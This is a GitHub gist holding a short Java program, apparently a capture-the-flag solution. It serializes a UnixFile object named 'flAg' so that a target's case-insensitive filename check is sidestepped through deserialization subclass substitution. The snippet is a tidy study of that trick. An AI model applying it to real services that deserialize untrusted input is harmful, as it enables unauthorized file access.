Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save XMPPwocky/86a5f85c1c84f00f2506fcf4dfa9e238 to your computer and use it in GitHub Desktop.
Save XMPPwocky/86a5f85c1c84f00f2506fcf4dfa9e238 to your computer and use it in GitHub Desktop.
import java.io.*;
import java.nio.file.Path;
import java.nio.file.Paths;
abstract class OSFile implements Serializable {
String file = "";
abstract String getFileName();
}
class WindowsFile extends OSFile {
public String getFileName() {
//Windows filenames are case-insensitive
return file.toLowerCase();
}
}
class UnixFile extends OSFile {
public String getFileName() {
//Unix filenames are case-sensitive, don't change
return file;
}
}
public class LuckyCharms {
public static void main(String [] args) {
UnixFile q = new UnixFile();
q.file = "flAg";
try {
FileOutputStream fileStream = new FileOutputStream("foo.ser");
ObjectOutputStream os = new ObjectOutputStream(fileStream);
os.writeObject((OSFile)q);
os.close();
} catch (Exception e) {}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment